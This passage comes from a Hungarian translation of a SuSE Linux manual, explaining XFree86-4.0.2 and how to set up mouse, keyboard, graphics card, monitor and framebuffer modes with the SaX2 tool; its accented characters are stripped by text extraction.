fejl dtt, mivel a teljesen trt XAA o (XFree86 Acceleration Architecture - xfree Gyorst Architektra) segtsgvel a grakus tevkenysgek sokkal gyorsabbak. Az XFree86-4.0.2 belltsi fjlja az /etc/X11/XF86Config llomnyban tallhat: ha szeretnnk nomtani az X belltsokon, a 8.6 . fejezetben (272. oldal) tovbbi rszletek olvashatak err l. o A hibanaplzs is sokat javult. Az X kiszolgl nagyon rszletes naplz fjlt tart fenn, amely az X kiszolgl elindulsa utn itt tallhat: /var/ log/XFree86.0.log. Az j verzi egy msik tulajdonsga a specilis dolgok tmogatsa, mint pldul a True Type karakterkszletek. Tovbb lehet sg nylik a glx, azaz o a 3D protokoll kiterjesztsek belltsra, a kperny gamma korriglsra, o s az n. tbbfej belltsokhoz szksges egynl tbb grakus krtya tmogatsra. Tovbbi informcik err l a 8.6 . fejezetben (272. oldal) o tallhatk. Mi vltozott? Az XFree86-4.0.2 alapjt termszetesen a 3.3.x verzi adja. Sajnos azonban nem tartalmazza a rgi verzi minden meghajtjt, mert nmelyikk nagyon bonyolult volt, s nem lehetett beilleszteni oket az j XAA architektrba. Ha az effle grakus krtykat korbban tmogatta a SuSE Linux, akkor tovbbra is lehet oket hasznlni az XFree86 3.3.x verzijval. Ajnljuk, hogy az ilyen krtykkal a 3.3.6-os verzit hasznljuk, amely szintn benne van a SuSE linuxban. Ezek belltshoz tovbbra is lehet a SaX programot hasznlni, csakgy, mint korbban. A korbbi verzikban az XF86_S3 , XF86_Mach8 , XF86_Mach32 s XF86_8514 X kiszolglkat hasznl grakus krtyk okozzk most a gondot. Az S3 krtyk esetben azokat, amelyekhez korbban szksg volt az S3 kiszolglra, az XFree86-4.0.2 immr nem tmogatja, de azokat igen, amelyek azel tt m kdtek az SVGA kiszolglval. Lnyegben a kvetkez grakus o u o 239

8. Az X Window rendszer lapkkat hasznl krtykrl van sz: S3 Trio3D, Savage4, Savage3D s Savage2000, valamint majdnem mindegyik S3 Virge krtya. Azon grakus krtyk, amelyeknek a tbbi fentebb emltett X kiszolglkra volt szksge eddig (a Mach8, Mach32 s a 8514) manapsg mr ritkk. Ezekhez a grakus krtykhoz a rgi S3 krtykhoz hasonlan az XFree86-3.3 verzit kell haszlni.

8.3

Bellts a SaX2 hasznlatval

Fordtotta: Csiszr Imre s Vradi Istvn A SaX2 program (SuSE Advanced X Conguration Tool) clja, hogy egyszer bellteszkzt biztostson az X Window System szmra. Ez a progu ram a kiprblt SaX program utdja. A SaX az XFree86-3.3.x, a SaX2 pedig az XFree86-4.0 belltsra szolgl. Ha a rendszerben mr az XFree86-4.0 X-szerver van belltva, egyszer en csak indtsuk el a SaX2 programot. Amennyiben az XFree86-3.3.x u X-szervert hasznljuk, a SaX2 indtsakor megjelen zenet gyelmeztet o arra, hogy az XFree86-3.3.x van belltva X-szerverknt, s ezrt a belltshoz a SaX programot kell hasznlni. Ha mgis folytatjuk, az XFree86-4.0 lesz belltva. Szigoran vve ez nem teljesen pontos: az alaprendszer, a programknyvtrak s az X11 alapprogramok mindig az XFree86-4.0 verzibeliek, csak az X-szerver s a xinit, valamint az xf86cong programok kerlnek lecserlsre. Mint mr a 8.2 . fejezetben (238. oldal) emltettk, az XFree86-4.0 nem minden grakus krtyt tmogat. Ezeket a krtykat a SaX hasznlatval kell belltani. Err l a programrl a 8.4 . fejezetben (257. oldal) olvashao tunk . A SaX2 grakus felhasznli felleteten fut, s a belltsok az egr vagy a billenty zet segtsgvel vihet k be. Nhny klnleges esett l eltekintve, u o o mint pldul nagyon j, vagy nagyon rgi hardverek, a legtbb hardveralkatrszt felismeri, gy nagyon egyszer v teszi az X-szerver belltst. u 8.3.1 Telepts az els alkalommal o

Az X Window System a Linux rendszerek grakus felhasznli fellete teleptshez szksgnk van az albbi informcikra a szmtgpnkkel kapcsolatban: A monitor tpusa s technikai adatai (ha ismertek). A billenty zet tpusa. u Az egr tpusa s csatlakozjnak fajtja. A grakus krtya gyrtja s tpusa. 240

8.3. Bellts a SaX2 hasznlatval A SaX2 programot (sax2) root felhasznlknt kell futtatnunk. A SaX2 indthat a YaST -bl is: vlasszuk a Rendszeradminisztrci men Az XFree86[tm] konfigurlsa pontjt. (lsd a 3.6 . fejezetben (102. oldal)). A program parancssorbl val indtshoz rjuk be a kvetkez t: o
meggyfa:/root # sax2

A program indulsakor, a SaX2 sysp segdprogramja megkeresi a gpben lv PCI s AGP grakus krtykat, valamint meghatrozza a billenty zet s o u az egr tpust. A felismert adatok alapjn sszellt egy, az X-szerver elindtshoz szksges kongurcis fjlt. Ha pldul a program AGP vagy PCI grakus krtyt tall a szmtgpben, azonostja azt, majd azonnal betlti a megfelel X-szerver modult. o Automatikus bellts... Ha a grakus krtya a PCI-vizsglat sorn egyrtelm en azonosthat, s u a grakus meghajtprogram rendelkezsre ll, a SaX2 megprblja a  DDC ("Direct Data Connection") kapcsolaton keresztl felismerni a monitort. Amennyiben ez sikerl, a monitor optimlis felbontsa lesz belltva. Ez a Do you like it mez ben jelenik meg, s az OK gombra kato tintva rvnyesthetjk azt. Ellen rizzk, hogy az OK gomb mellett lthat o mez ben a Save lehet sg van kijellve. o o

8.1 bra: SaX2 : teljesen automatikus bellts Az OK gomb melletti mez ben elemeket is kijellhetnk. A kvnt elem o kijellst kvet en kattintsunk az OK gombra. o A kongurci mentst megel z en az Adjust elem segtsgvel o o bizonyos hatrok kztt lehet sgnk van a kperny n megjelen kp o o o mdostsra. A SaX2 megtesz minden t le telhet t, hogy felismerje az sszes hardvert, o o amit tud, de annak rdekben, hogy minden kongurcis bellts biztosan helyes legyen, mindegyiket ellen riznnk s szksg esetn mdoso tanunk kell. A Run SaX menpont segtsgvel ismt elindthatjuk a SaX2 programot, s mdosthatjuk az X-szerver belltsait. Ez klnsen akkor hasznos lehet sg, ha tbb grakus krtya van a gpben, vagy o az egr el szr nem m kdik megfelel en. o u o 241

8. Az X Window rendszer Az Exit Sax menpont bezrja a sax2 programot. Ha az egr mg nincs jl belltva, a billenty zeten keresztl mg mindig u Tab billenty u elrhetjk a programot. Az egyes adatbeviteli mez k kztt a o tbbszri megnyomsval mozoghatunk. Ha egy msik ablakra szeretnnk tvltani, nyomogassuk a Tab billenty t addig, amg a kvnt ablak fejlce u vagy a billenty segtsgvel u lesz a fekete kerettel kiemelve. Ezutn a kijellhetjk a kvnt ablakot, majd belelphetnk a (Enter) billenty vel. u Emellett a SaX2 programban "virtulis" egeret is hasznlhatunk. A Shift billenty t lenyomva tartva az u L billeny vel balra, a u J billenty vel jobbra, u a K billenty vel lefel, az u I billenty vel pedig felfel mozgathatjuk az u Shift az s A egyttes megnyomsa bal kattintsnak, a egrmutatt. A Shift az s S billenty kombincija a kzps gomb lenyomsnak, a u o Shift a s D billenty pedig az egr jobb gombjval val "kattintsnak" u felel meg. Ha egy listakeretben szeretnnk kivlasztani egy elemet, nyomjuk le a Tab billenty t, amg a kvnt mez kijell dik. A u o o s billenty kkel keresheu tnk az elemek kztt, a kivlasztott elemet az Enter billenty vel aktivlu hatjuk. A SaX2 beptett sgjt a Ctrl + F1 billenty kombincival rhetjk u el. Ebben a SaX2 sszes billenty kombincija s egrfunkcija megtau llhat. A kzps egrgomb lenyomsval egy specilis ment nyithatunk meg, o amelyben tbbek kztt megtekinthetjk az X-szerver hibanapl-fjljt is. Ez rendkvl hasznosnak bizonyulhat a hibk megkeressben. Az X-szerver protokollfjljnak magyarzatt a /var/log/XFree86.0.log fjl tartalmazza (lsd a 8.3.1 . fejezetben (255. oldal)). ...s a kzi bellts A Run SaX menpont kivlasztst kvet en megjelenik a SaX2 do vzl prbeszdablaka. A program indulsakor esetleg egy pillanatig vrnunk o kell, amg a SaX2 beolvassa az adatllomnyokat. Az ablakban a Bellts s a Szakrt fl kzl vlaszthatunk. Lehet sgnk van egy o o korbbi alkalommal ltrehozott belltsi fjl beolvassra is. Csak az XFree86-4.0 kongurcis fjljait olvashatjuk be, a rgi XFree863.3.x kongurcis fjlokat nem. A SaX2 viselkedst ezenfell az Egyni stlus vagy a Knny u stlus menben is befolysolhatjuk. Az Egyni stlus menben a Knny stlus ltal felknlt belltsokon tl, kzvetlenl mdostu hatjuk a bet kszletek, az egr s a billenty zet elrsi tjt is. A Knny u u u stlus menben ezek a belltsok automatikusan mennek vgbe, vagy a mr korbban belltott rendszerb l veszi t azt a program. o Ha a Knny stlus-t vlasztottuk, a Kvetkez-re kattints, u o kzvetlen a grakus meghajtk belltsi ablakhoz visz minket, s az egr 242

8.3. Bellts a SaX2 hasznlatval

8.2 bra: a SaX2 dvzl kperny je o o belltsi menhz, a billenty zetet s tvonalat kihagyja. Az egr s a billenu ty zet belltshoz szksges paramtereket az automatikus hardver rzkeu lsb l veszi t, ami mr fut amita a SaX2 elindult. A nyelv belltsaihoz o a LANG krnyezeti vltoz tartalmt hasznlja. A keressi tvonalhoz egy knyes alaprtelmezs van kivlasztva. A 8.6.1 . fejezetben (278. oldal) egy lers tallhat, hogy miknt tudjuk belltani a rendszernkben a bet kszlet u tvonalait. Ez akkor rdekes, ha idegennyelv szveget akarunk feldolgozni u a gpnkn. Lejjebb, az egyedi menttelek lersa talhat, ha az Egyni stlus (Complex)-t vlasztottuk. Az egr Miutn a Kvetkez-re kattintottunk, az egr belltsi prbeszdablak o fog megjelenni. Ha az egr nem m kdik szablyosan, hasznlhatjuk termu szetesen a billenty zetet is ebben az ablakban, lsd a 8.3 brn. Ahhoz, hogy u ezt megtegyk, nyomogassuk ismtelten a Tab gombot, amg az Egr felsorols kijell dik, s gy aktivldik. Nyomjuk meg az o Enter t s vlasszuk ki a Gyrt-t s a Neve-t, a gyrtt s egr tpust, s er stsk meg a vlasztsunkat az OK-val. A o s gombbal kivlaszt Enter hatjuk mindkett t, a gyrtt s az egr tpust s er stsk meg ezt az o o gombbal. Ha az egernk tpusa nincs itt a listn, akkor kzzel is bellthatjuk. Ennek megttelhez menjnk vissza az Egr bellts ablakig s aktivljuk a Protokoll vlasztsi mez ben az Egr Tulajdonsgoko at. Ezen a ponton vlaszthatunk, hogy a bejegyzsi mez t magunk aktivljuk, o vagy aktivljuk a vlasztsi listt (a kis szimblum a bejegyzsi mez jobb o oldaln). Nyomjuk meg a Szkzt a vlasztsi lista el hvsra, vagy beado hatjuk mi is alternatvaknt az X11 egr protokoll nevt a beadsi mez be. o Hasznlhatjuk az Eszkz ttelt is; itt ki kell vlasztanunk az eszkz fjlt, amin keresztl a kapcsold egr elrhet . Ha mr el z leg belltottuk az o o o 243

8. Az X Window rendszer

8.3 bra: SaX2 : az egr belltsa egeret a YaST2 -vel, akkor csak vlasszuk a /dev/mouse-t. Klnben keresnnk kell egy ideill interfszt; a knyes belltsokat javasoljuk a vo lasztsi mez n keresztl megejteni gy a /dev/psaux a PS/2 egerekre, o /dev/ttySx a sorosra s /dev/usbmouse az USB egerekre vonatkozik. Nzzk meg a 8.1 tblzatot a klnbz egrtpusok s azok belltsnak o ttekintsre az X Window System-ben.

Alkalmazott protokoll PS/2

Egr tpus

2 vagy 3 gombos egr egy USB porton vagy egy PS/2 egr kapcsolat. IMPS/2 Grg s egr 3 vagy tbb gombbal s egy vagy tbb gro g vel USB porthoz kapcsoldva, vagy PS/2 egr kapo csolat. Microsoft 2 esetleg 3 gombos egr, a soros porthoz kapcsolva. MouseSystems gombos egr a soros porton. 3 Intellimouse rg s egr 3 vagy tbb gombbal s egy vagy tbb G o grg a soros porthoz csatlakozik. o Auto A soros egrkapcsolat automatikus rzkelse. 8.1 tblzat: Klnbz egerek s a protokollok hasznlata o A specilis belltsokrt meg kell nznnk a Szakrt ment. Itt o kt bellts rdemel kln hangslyt: aktivlni a harmadik egr gombot a Kiterjesztsek (Extensions) gombon keresztl s a Grg segr ttel. Ha csak kt gombos egernk van, akkor aktivlnunk kell a o 3 gomb emullsa ttelt. Ekkor szimullhatjuk a harmadik egrgombot a kt egrgomb egyszerre trtn lenyomsval. o 244

8.3. Bellts a SaX2 hasznlatval Ha balkezesek vagyunk s szeretnnk felcserlni az egrgombok sorrendjt, azt is megtehetjk a ks bbiekben. Itt nem kell semmi specilis belltst o tennnk ezrt. Ha hasznlni szeretnnk a grg t az "Intellimouse"-on, akkor be kell lltao nunk a Grgsegr alatt, a Z tengely beolvass(Z Axis Mapping)o ot a Gombok-hoz. gy az X szerver "tudja" mit kell csinlnia, amikor a grg o mozog, be kell lltanunk az egr gombokhoz a Negatv mozgs-t s Pozitv mozgs-t. Mivel az 1-es, 2-es s 3-as gombokat mr hasznljuk a norml gombokhoz, gy a 4-es s az 5-s gombokat kell hasznlnunk a Pozitv s a Negatv mozgs-hoz. A belltott X Window System-ben t tudunk adni grg mozgsokat X11 alkalmazsoknak o az imwheel programmal (az imwheel csomag az ap kszletben). El kell olvasnunk a 8.6 . fejezetben (272. oldal). Zrjuk be azt az ablakot a Kvetkez ttel kivlasztsval. o A billentyuzet Itt bellthatjuk a billenty zet nyelvt. Ha "Win95" billenty zetnk van, enu u nek 105 gombja van, s neknk a Szabvny 105 gombos billentyu t kell vlasztanunk a Billentyzet tpusa menben. A Bilu lenty nyelve alatt be kell lltanunk a megfelel nyelvet. Ha u o "Windows" nlkli billenty zetnk van, akkor a 101/102 gombos billenu ty zetet kell vlasztanunk. Ha laptop vagy specilis billenty zetnk van tbb u u vagy kevesebb billenty vel, mg akkor is vlaszthatjuk a 102 vagy 105 gomu bos billenty zetet, mivel az el lltott billenty kdok, gyakorlatilag minden u o u esetben illeszkedni fognak a szabvny PC billenty zethez. Ha rkattintunk u az Alkalmaz-ra, a kivlasztott billenty zet aktivlva lesz. u Ha nem angol billenty zetnk van, le kell ellen riznnk, hogy a billenty u o u kioszts res billenty (dead keys)-vel van-e belltva. Ellen rizhetjk ezt u o AltGr s + billenty k egyszerre trtn lenyomsval. Ha a vizszintes u o az hullmvonal ( tilde) nem jelenik meg azonnal, csak a szkz lenyomsa utn, akkor az "res billenty k" aktivlva vannak. res billenty vel knnyen tuu u dunk kezeteket (diacritical jeleket) hozzadni. Lenyomva az AltGr s + , s utna az egy " "-t fog megjelenteni a kperny n. n -t, n o tkapcsolhatjuk az res billenty ket a Szakrt men ltal az res u o billentyk eltntetse ttel alatt. lltsuk ezt Igen-re, hogy deu aktivljuk az res billenty ket. A billenty zet belltsa utn mehetnk tou u vbb, belltani a keressi tvonalat a Kvetkez gomb lenyomsval. o Keressi tvonalak Megvltoztathatjuk a bet kszletek keressi tvonalt, s megvltoztathatjuk u a klnbz "server ags"-eket. Egy bet kszlet knyvtr le vagy fel mozgao u tshoz, jelljk azt ki a bal egrgombbal, tartsuk lent a gombot s mozgassuk a sort le vagy fel, gy hozva ezt a knyvtrat jobban el bbre vagy htrbb a o keressi tvonalon. Az j s a Trl gombon t, hozzadhatunk vagy eltvolthatunk knyvtrakat. Figyeljk meg, hogy az X szervernek legalbb a "misc" karakter bet kszu let knyvtrra van szksge, klnben egy hibazenetet fogunk kapni az X 245

8. Az X Window rendszer szervert l, amikor kiprbljuk s elindtjuk azt. A 8.6.1 . fejezetben (278. o oldal) lerjuk, hogy hogyan integrlhatunk tovbbi bet kszleteket az X Winu dow System-be s miknt dolgozhatunk fel szvegeket ms nyelven. Hagyjuk el ezt az ablakot a Kvetkez ttelre kattintva. A grakus o krtya belltsi ablak fog megjelenni. A grakus krtya belltsa

8.4 bra: SaX2 : a grakus krtya(k) belltsa A SaX2 vgigpsztzza a PCI s AGP buszokat s megjelenti a megtallt grakus krtykat a Munkaasztal felsorols alatt. Az a rend, hogy ltni fogjuk a gpnkbe teleptett grakus krtyt. A SaX2 -ben lv adatbzison keresztl a megfelel XFree86-4.0 meghajt modul kivo o lasztsra kerl s megjelenik a Krtya tulajdonsgok mez ben o a Meghajtk alatt. A Videoram alatt meghatrozhatjuk a grakus krtynk vidememria mrett. Egy jts az XFree86-4.0-ban az a lehet sg, hogy egy meghajtt a krtyo hoz egy bizonyos foglalatban (slot) llandra kijellnk. A SaX2 el tudja vgezni ezt a kijellst: normlisan, ezt egyszer en csak alkalmazni kell. Az u informlsunkra a foglalat (slot) a Bus ID-ban jelenik meg. Ha azonban ks bb thelyezzk ezt a PCI grakus krtyt egy msik foglalatba, ekkor o jra be kell lltanunk, mivel a Bus ID megvltozott. Ahhoz, hogy ezt megtegyk be is llthatjuk ezt a ttelt Single-re, de nem szabad ezt a belltst hasznlnuk ha tbb grakus krtynk van a gpben. ISA grakus krtykat nem lehet automatikusan rzkeltetni. Ezeket be kell lltani kzzel a Tpus kivlaszts ltal vagy kzvetlenl a meghajt kivlasztsval. Csak egy ISA grakus krtya hasznlhat egy gpben. 246

8.3. Bellts a SaX2 hasznlatval A Tpus kivlaszts-ban kzzel vlaszthatjuk ki a grakus krtyt, ha az nem volt automatikusan rzkelve. Ehhez, kattintsunk a Tpus kivlaszts-ra s vlasszuk ki a grakus krtya gyrtjt s a tpust a listrl. Ha a PCI vagy AGP grakus krtynkat nem tmogatja az XFree86, mg majdnem mindig ott a lehet sg a "Framebuffer driver" hasznlatra. Err l o o b vebbet lsd a 8.3.3 . fejezetben (251. oldal). o Ha tbb grakus krtynk van teleptve, bellthatjuk a msik krtyt a vlasztsi listban a kvetkez grakus krtya szimblumra kattintva. Ha ez o egy ISA krtya, amit nem lehet automatikusan rzkeltetni, akkor adhatunk hozz egy msik grakus krtyt az j gombra val kattintssal s bellthatjuk ezt, mint az els dleges grakus krtya, a vlasztsi listban a szimo blumra kattintva. A Szakrt menben tovbbi belltsokat tallunk. Az Opcik o alatt olyan lehet sgeket is bellthatunk, mint a sw_cursor, ami a grakus o meghajt viselkedst befolysolja. Normlisan csak akkor van szksgnk specilis lehet sgekre ha megjelentsi hibkat ltunk a kperny n. Ezt o o nzzk meg a 8.3.3 . fejezetben (253. oldal). A munkaasztal belltsa Ha befejeztk a grakus krtya belltst, a Kvetkez-re kattintva, o lehet sget kapunk a kperny belltsra. Ebben az ablakban bellthatjuk o o az ltalunk hasznlt kperny t, annak felbontst s sznmlysgt. o

8.5 bra: SaX2 : a kperny s a munkaasztal belltsa o A legtbb grakus krtyval az XFree86-4.0 sajt maga ki tudja olvasni a DDC adatokat a monitorbl, amit megjelent a kivlasztsi ablakban. A kis "+" szimblumra kattintva a monitor kijelz mellett, lthatjuk, hogy ha o az automatikus rzkels m kdtt. Ha a monitor "DDC tesztelse" sikeres u 247

8. Az X Window rendszer volt, a "DDC-probed" sz megjelenik a listn a Gyrt s a Nv mellett. Ha az automatikusan belltott monitor frekvencia nem m kdik, azt be tudjuk u lltani kzzel. Ehhez vlasszuk a Tpus kivlaszts ttelt. Egy vlasztsi lista jelenik meg a gyrtk nevvel, amit tbngszhetnk. Ha kivlasztottunk egy gyrtt akkor a tpus neve, ami hozz vlaszthat a jobb oldalon jelenik meg. Jelljk ki a monitorunkat itt s az OK gomb megnyomsval hagyjuk el az ablakot. Ha egy modern, lapos LCD kperny nk van, vagy ha a laptop sajt kperny o o jt akarjuk hasznlni, ekkor az LCD-t liquid crystal display kell vlasztanunk jobbra a vlasztsi lista tetejn. gy a vzszintes frekvencia 60 Hz-re van korltozva, ami rendszerint idelis frissitsi arny az LC kijelz khz. o Ha a monitorunkat nem talljuk a listn, s az automatikus rzkels nem sikerlt, mg mindig beadhatjuk a monitorunk adatait kzzel. Ezrt van a kt mez a Monitor tulajdonsgok rszben. Itt bellthatjuk az engeo dlyezett vzszintes s fgg leges frekvencia hatrokat. Normlisan ezek az o adatok a monitor kziknyvnek "technical data" rszben tallhatk. Klns krltekintssel kell eljrnunk, amikor kzzel adjuk be a frekvencia hatrokat. A legveszlyesebb, hogy a tl magas vzszintes frekvencia gyorsan tnkreteheti a monitorunkat. Szablyknt a kperny felbontst s a sznmlysget mr javasoltuk a o Sznmlysg/Felbonts alatt. Ha TFT vagy msfajta LCD kperny t o hasznlunk, akkor olyan kperny felbontst kell vlasztanunk, ami illeszkeo dik a kijelz felbontshoz, klnben a kpet kalibrlni (scaled) kell. A SaX2 o rzkelii a digitlisan csatlakoztatott TFT vagy DSTN kijelz k felbontst, s o ltalban kzlni fogja velnk a kijelz nk felbontst. o A sznmlysg belltsban a 16, 256, 65535 s 16.7 milli szn, 24 s 32 bites elrhet . Egy megfelel kphez legalbb 256 sznt kell belltanunk. o o Ha azonban a "generic" VGA meghajtt hasznljuk (az XFree86 meghajt neve vga, nha gy is hivatkoznak r, mint VGA16 szerver), akkor sajnos csak 16 sznt hasznlhatunk. A 24 bites sznmlysggel 16.7 milli sznnl vlaszthatunk a 24 s 32 bpp bits per pixel kztt. Ez a kt ttel csak abban klnbzik egymstl, ahogy a grakus krtya a bels grakai memrit kezeli. A 4 bjt pixelenknt o (32 bpp, "padded pixel mode") knnyebben kezelhet , mint a 3 bjt pixeo lenknt (24 bpp, "packed pixel mode"). Ez azt jelenti, hogy a grakus megjelents 32 bpp mdon rendszerint ltalban gyorsabb, mint a 24 bpp mdos grakus krtya, de tbb vidememrit hasznl. Nhny grakus krtya nem tudja kezelni ezt a "packed pixel mode"-t 24 bpp-vel. A 65535 szn bellts rendszerint, egy elg j kompromisszumot kpvisel a hasznlt vide memria s a kpmin sg kztt. o A Szakrt flre kattintva tovbbi belltsokat vgezhetnk el. Ha egy o szokatlan felbontsunk van, itt meghatrozhatjuk azt kzzel. Szintn bellthatjuk, hogy a SaX2 ne sajt maga szmtsa ki a kperny paramtereket (ezt o a ttelt hvjk Modelines kiszmts-nak). Ha deaktivljuk ezt, a VESA zemm248

8.3. Bellts a SaX2 hasznlatval dot fogjuk hasznljuk, ami az X szerverbe be van programozva, de ebben az esetben a kpfrissts maximum 75 Hz lehet. Ha egy ltez bellts kerlt beolvassra amikor a SaX2 elindult, akkor o ennek a belltsnak a modelines-jt tveszi s j modeline paramtereket nem fog kiszmtani. Ha a ltez belltsokhoz egy j zemmdot o adunk meg, s nem akarunk mr meglv VESA mdot hasznlni, akkor o felttlenl aktivlnunk kell a Modelines kiszmts ttelt. Ha csak egy grakus krtyt hasznlunk, a Kvetkez-re kattints t fog o vinni minket kzvetlen az X szerver teszthez. Klnben meghatrozhatjuk a szerver elrendezst a kvetkez lpsben. o Elrendezs Ha tbb mint egy grakus krtynk van teleptve, akkor megvan az eslynk, a kperny k belltsa utn, hogy meghatrozzuk a kperny k elrendezst. o o Ebben az ablakban meghatrozhatjuk, hogy melyik monitor kpviseli melyik "kperny (screen)"-t s milyen sorrendben legyenek ezek a monitorok haszo nlva (egyms felett, vagy egyms mellett). Az elrendezs s az X szerver eszerint kerl belltsra. Az Egy kperny/Xinerama bellts leo het v teszi, hogy sszekombinljuk a kt kperny t egy nagy munkaasztall. o o Ez a bellts csak akkor m kdik, ha azonos felbontst s sznmlysget u hasznlunk mindkt kperny hz. o Ha a "Multihead bellts"-t hasznljuk, ez bellt 2 vagy tbb kperny t, o ekkor deaktivlnunk kell a Xinerama-t az els alkalommal, amikor fut, o klnben a kvetkez lpsben csak a nomhangolsi ablakhoz rnk, ami o csak az els grakus krtya belltst engedi meg neknk. Ezrt ki kell o kapcsolnunk a Xinerama-t az els futsakor, s ks bb aktivlni azt. o o A bellts leellen rzse o Kattintsunk amikor ksz vagyunk az OK gombra az informcis mez ben. Egy rvid id utn az itt lthat ablak fog megjelenni. o o A jobb oldalon kt fontos mez t fogunk tallni, Mret s Pozici, ezek o lehet v teszik a kp beigaztst. A nyl gombok a Mret mez ben, a kp, o o vzszintes vagy fgg leges nyjtst vagy sszenyomst teszik lehet v. A o o Pozci mez ben megvltoztathatjuk a kp relatv pozicijt a kperny n. o o Hasznljuk ezt a kpnek a sajt kvnalmainkhoz trtn beigaztshoz. o A kp helyes belltsnak ellen rzshez, ngy ngyzetet fogunk ltni a o monitor kpmez sarkaiban. Az optimlis kp helyzethez ezeknek teljesen o lthataknak kell lennik minden elsznez ds vagy torzuls nlkl. o Ha a tesztkp nagyon sttnek tnik, ha fnyes vonalat ltunk a kp sz ln, vagy a kp egszben tl kicsi, azonnal meg kell nyomnunk az Alt + Ctrl + gombokat. Ez visszavisz minket a SaX2 munkaasztal belltsi ablakba. Ezutn cskkentennk kell a monitor engedlyezett frekvencijt.

249

8. Az X Window rendszer

8.6 bra: SaX2 : a bellts leellen rzse o Miutn beigaztottuk a kp helyzett a SaX2 belltsain keresztl vagy a monitor ltal nyjtott igaztsi lehet sgekkel, akkor befejezhetjk a teszt o ablakot. Ehhez, vlasszuk: Ments: Befejezzk az X Window System belltsunkat s elmentjk a jelenlegi belltsokat. Visszatrnk a SaX2 -hz. Ekkor meg fog krdezni minket, hogy el akarjuk-e hagyni a programot. Az X Window System belltst a /etc/X11/XF86Config fjlban menti el. Ezzel egyid ben az akkor hasznlt X szerver belltdik. Ez azt jelenti, hogy egy o linket ksztett a /var/X11R6/bin/X, ami a /usr/X11R6/bin/ XFree86 vgrehajthat programra mutat. Elvet: Ez visszavisz minket a SaX2 belltsi ablakokhoz, anlkl, hogy a belltsokat elmentennk. 8.3.2 jra bellts

A SaX2 tmogatst nyjt ahhoz is, ha a sajt elvrsainknak megfelel en o akarjuk testreszabni az X szervert. Ehhez indtsuk el a SaX2 -t mikzben az X szerver fut. Ha akarjuk a SaX2 be tudja olvasni a meglv /etc/X11/XF86Config belltsi fjlt, ahol o az X Window System trolja s elemzi a belltsi adatokat. Ekkor nem szksges vgigmenni az egsz belltson, az egrt l a monitorig, mivel o a SaX2 tveszi a meglv , m kd X szerver belltst. A SaX2 ezutn o u o elrhet v teszi ezeket az adatokat a fenti menk szmra. Figyeljnk oda, o mert mindenkppen neknk kell kivlasztani a meglv bellts beolvasst. o Azonban a felhasznlnak minden szabadsga megvan, ahhoz, hogy jra belltsa a sajt X szervert. A SaX2 egy knyelmes fellet a grakus krtya sznmlysg s felbonts belltshoz, ami gyorsan megtallhat a Munkaasztal bellts prbeszdablakon keresztl. 250

8.3. Bellts a SaX2 hasznlatval 8.3.3 Hibakeress

Ez a rsz segt minket az X szerver belltsban, ha olyan problmk merlnek fel, hogy a grakus fellet egyltaln nem fut, vagy fut ugyan, de gyenge min sg kpet ad. o u Ha a SaX2 nem kpes belltani a grakai krtynkat a szoksos ton, ekkor kt tovbbi mdszer van, ami szinte minden esetben m kdik. Ezeket rjuk u le lejjebb. A kett kzl a framebuffer md rendszerint jobb kpet fog adni. o A framebuffer hasznlata Sajnos mg nincs Linux meghajt minden grakus krtyhoz. Ha a krtynk nem tmogatott, rendszerint mg mindig kaphatunk grakus kpet a framebuffer zemmd hasznlatval. Ha a grakus krtynk VESA 2 kompatibilis, ennek a zemmdnak m kdnie kell. u Ennek az az el nye, hogy majdnem minden modern grakus krtyval m ko u dik s gyakorlatilag minden laptoppal is. Mivel a krtya grakus vezrl jt o megkerltk, a kijelzs nem lesz felgyorstva (unaccelerated). Az X szerver egyszeren elri a framebuffer-t kzvetlen ahogy a grakus mdot bekapcsoltuk, amikor a rendszermag elindult. Ez a kvetkez kppen m kdik: amikor az elindul, a Linux rendszermag o u meghvja miel tt mg tkapcsolna 32-bites vdett mdba a grakus o krtya VGA BIOS-t s utastja ezt, hogy kapcsoljon t egy szabvnyos  VESA grakus mdba. A szveg brzols (depiction) (ez a szveges konzol) azutn folyatdik ebben a belltott grakus mdban. A VGA BIOS 16 bites kdban van rva s ezrt nem hvhat meg amg a Linux rendszer fut. Kvetkezskppen az indulsnl meghatrozott videmd megmarad addig, amg a Linux rendszert le nem lltjuk. Annak rdekben, hogy a VESA framebuffer zemmdot hasznlhassuk, a rendszermagban be kell kapcsolni ennek tmogatst, s indulskor ki kell vlasztani ezt a lehet sget. A SuSE Linux rendszermag termszetesen taro talmazza a VESA framebuffer tmogatst. Azonban neknk kell kivlasztanunk a kvnt grakus mdot amikor indtjuk a rendszert. Ennek megttelhez adjuk be a vga=x paramtert a LILO indt promptnl, ahol x jelenti az rtket, amit a 8.2 tblzatbl vett t.

Sznmlysg 256 (8 bit) 32768 (15bit) 65536 (16bit) 16.7 Mill. (24bit)

Felbonts pixelben 640x480 800x600 769 771 784 787 785 788 786 789

1024x768 773 790 791 792

1280x1024 775 793 794 795

8.2 tblzat: Lehetsges VESA-mdok Ezt a paramtert megadhatjuk kzvetlenl is, mint egy vga paramter a /etc/lilo.conf fjlban. A vga=x sornak egy kln sorknt kell sze251

8. Az X Window rendszer repelnie ebben a belltsi fjlban, nem pedig az append sor rszeknt. A LILO teleptst lertuk rszletesebben a 4.4 . fejezetben (124. oldal). A Linux rendszer elindtsa utn be kell jelentkeznnk a rendszerbe, mint root felhasznl s el kell indtanunk a SaX2 t a kvetkez kppen: o
meggyfa:/root # sax2 -m 0=fbdev

Vigyzzunk r, hogy a 0 itt egy "nulla", s nem egy nagy "o" bet . u Ez utastja az X szervert, hogy a framebuffer meghajtt hasznlja. Mivel a felbonts, sznmlysg s a frekvenciaarny rgztett, ha elgedettek vagyunk az egr s billenty belltsokkal kzvetlenl elmentethetjk a u SaX2 -vel az automatikusan rzkelt adatokat s ismt kilphetnk a SaX2 b l. o A VGA16 szerver hasznlata Ha a grakus krtynk nem kpes semmilyen VESA mdra, vagy ha egy ISA krtynk van, mg mindig be tudjuk lltani, hogy a vga modullal fusson. Ezt akkor javasoljuk, ha a grakus meghajtt nem rzkeli automatikusan. Vlasszuk a vga meghajtt a SaX2 -ben a Grafikus krtya bellts ttelt a Meghajtk alatt. Ez korltozni fogja a Munkaasztal-ban, a felbontst 640x480 pixelre 16 sznnel (4 bit sznmlysg). Ha a grakus krtynk tmogatja a VESA framebuffer-t, a fentebb lert framebuffer metdus a clszer bb, a vga meghajt szerny lehet sgei u o miatt. A szabvny vga meghajt hasznlathoz, rgtn, amint a SaX2 elindul adjuk be az albbi parancsot:
meggyfa:/root # sax2 -m 0=vga

